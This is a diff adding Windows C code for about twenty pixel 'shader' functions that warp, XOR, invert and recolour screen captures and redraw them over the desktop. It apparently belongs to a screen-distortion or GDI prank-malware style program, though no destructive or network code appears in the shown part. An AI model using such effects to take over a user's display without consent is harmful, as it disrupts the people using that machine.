+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 40.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT div = (FLOAT)t / 2.f;
+			FLOAT a = FastSine(div + _y) * 50.f;
+			FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
+
+			u = x + (INT)a, v = y + (INT)b;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[y * w + u];
+
+			DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
+			if (!rgb)
+			{
+				rgb = 1;
+			}
+
+			rgbDst.rgb /= rgb;
+			if (!rgbDst.rgb)
+			{
+				rgbDst.rgb = 0xFFFFFF;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader2(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 16))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader3(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	HSLCOLOR hsl;
+	FLOAT _t = (FLOAT)t / 15.f;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 45.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = FastCosine(_y + _t) * 36.f;
+
+			u = x + (INT)a, v = y;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			FLOAT f = 1.f / 2.f;
+			FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
+			FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
+			FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
+
+			rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
+			prgbDst[y * w + x] = HSLToRGB(hsl);
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader3(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	INT x, y;
+	HPEN hpenBall;
+
+	BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+
+	t += nShaderThreeSeed;
+	x = t * 16;
+	y = t * 16;
+
+	for (INT i = 64; i > 8; i -= 8)
+	{
+		hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
+
+		SelectObject(hdcDst, hpenBall);
+		Reflect2D(&x, &y, w, h);
+		Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
+		DeleteObject(hpenBall);
+	}
+}
+
+VOID
+WINAPI
+GdiShader4(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	FLOAT _t = (FLOAT)t / 540.f;
+	FLOAT a = (FLOAT)t / 39.f;
+	FLOAT b = FastSine(a) * _t;
+	FLOAT c = FastCosine(a) * _t;
+	FLOAT centerX = (FLOAT)w / 50;
+	FLOAT centerY = (FLOAT)h / 100;
+
+	while (b < 5.f)
+	{
+		b += PI * 3.f;
+	}
+
+	while (c < 4.f)
+	{
+		c += PI * 4.f;
+	}
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
+			v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			if ((t / 21) % 2)
+			{
+				rgbDst.rgb = ~rgbDst.rgb;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader5(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			INT a = 5000;
+			INT b = 5000;
+
+			u = ~((a + t) & y);
+			v = ~((b + t) & x);
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader4(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	UNREFERENCED_PARAMETER(hdcDst);
+	UNREFERENCED_PARAMETER(hdcTemp);
+
+	BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+
+	if (!(t % 8))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+}
+
+VOID
+WINAPI
+GdiShader6(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 24.f;
+	FLOAT a = FastCosine(div) * 2.f * PI;
+	BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
+	BYTE bChannels = (BYTE)(Xorshift32() & 9);
+	RGBQUAD rgbSrc;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
+			FLOAT c = FastSine(a + b) * 68.f;
+
+			u = x + (INT)a, v = y + (INT)c;
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + x];
+
+			if (bShiftDir)
+			{
+				rgbDst.rgb <<= 1;
+			}
+			else
+			{
+				rgbDst.rgb >>= 1;
+			}
+
+			rgbSrc = prgbSrc[v * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			if (bChannels & 0b001)
+			{
+				rgbDst.b |= rgbSrc.b;
+			}
+
+			if (bChannels & 0b010)
+			{
+				rgbDst.g |= rgbSrc.g;
+			}
+
+			if (bChannels & 0b100)
+			{
+				rgbDst.r |= rgbSrc.r;
+			}
+
+			prgbDst[y * w + u] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader7(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	BOOL bOperation = (BOOL)(Xorshift32() % 21);
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = (x + t * 284) ^ (y + t * y) ^ t;
+			v = (x + t * 128) + (y + t * y) ^ t;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (bOperation)
+			{
+				rgbDst.rgb |= rgbSrc.rgb;
+			}
+			else
+			{
+				rgbDst.rgb &= rgbSrc.rgb;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader5(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 4))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+PreGdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	UNREFERENCED_PARAMETER(t);
+
+	BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
+
+	for (INT i = 0; i < 5; i++)
+	{
+		INT nBlockSize = Xorshift32() % 19 + 12 + 2;
+		INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
+		INT x = Xorshift32() % (w - nBlockSize);
+		INT y = Xorshift32() % (h - nBlockSize);
+
+		StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
+			nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader8(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 1.f;
+	FLOAT a = FastSine(div) * 2.f;
+	FLOAT b = FastCosine(div) * 2.f;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
+			v = y + (INT)b;
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (!rgbSrc.rgb)
+			{
+				rgbSrc.rgb = 1;
+			}
+
+			rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
+			hsl.s = 1.f;
+
+			if (hsl.l < .3f)
+			{
+				hsl.l += .2f;
+			}
+
+			rgbDst = HSLToRGB(hsl);
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader6(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 32))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader9(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 15.f;
+	FLOAT a = FastSine(div) * 4.f;
+	FLOAT b = FastCosine(div) * 2.f;
+	FLOAT f = 1.f / 3.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
+			v = y + (INT)b;
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (!rgbSrc.rgb)
+			{
+				rgbSrc.rgb = 1;
+			}
+
+			rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.h /= 1.0165f;
+			hsl.s /= 1.0135f;
+			hsl.l /= 1.0115f;
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader10(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + ((t + y) % 34) * -1;
+			v = y + (t + x) % 54;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
+			rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.s = .5f;
+			hsl.l *= 1.125f;
+
+			if (hsl.l > .5f)
+			{
+				hsl.l -= .5f;
+			}
+
+			if (hsl.l < .25f)
+			{
+				hsl.l += .25f;
+			}
+
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader11(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + y / (h / 19);
+			v = y + u / (w / 1);
+			u = x + v / (h / 13);
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
+
+			hsl = RGBToHSL(rgbDst);
+
+			if (hsl.s < .5f)
+			{
+				hsl.s = .5f;
+			}
+
+			if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
+			{
+				hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
+			}
+			else
+			{
+				hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
+			}
+
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader12(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader13(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader14(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine(2 * 1 + 3) * 1.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader15(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
+			FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
+
+			u = x + (INT)a;
+			v = y + (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader16(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
+			FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
+
+			u = x + (INT)a;
+			v = y - (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader17(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
+			FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
+
+			u = x + (INT)b;
+			v = y + (INT)a;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			HSLCOLOR hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
+			hsl.s = (FLOAT)rgbDst.g / 255.f;
+			hsl.l = (FLOAT)rgbDst.b / 55.f;
+			rgbDst = HSLToRGB(hsl);
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader18(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	FLOAT c = 1.f / 8.f;
+	BYTE d;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
+
+			u = x + (INT)a;
+			v = y + (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
+			rgbDst.g += rgbDst.r / 36;
+
+			d = rgbDst.b;
+
+			if (!d)
+			{
+				d = 1;
+			}
+
+			rgbDst.b += rgbDst.r / d;
+
+			HSLCOLOR hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
+			hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
+			hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader19(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + 0 + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader20(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	HSLCOLOR hsl;
+	hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
+	hsl.s = 1.f;
+	hsl.l = .5f;
+	COLORREF crRainbow = HSLToRGB(hsl).rgb;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y ^ (y % (abs((INT)(a * a)) + 1));
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb &= crRainbow;
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader21(
+	_In_ INT t,
+	_In_ INT w,
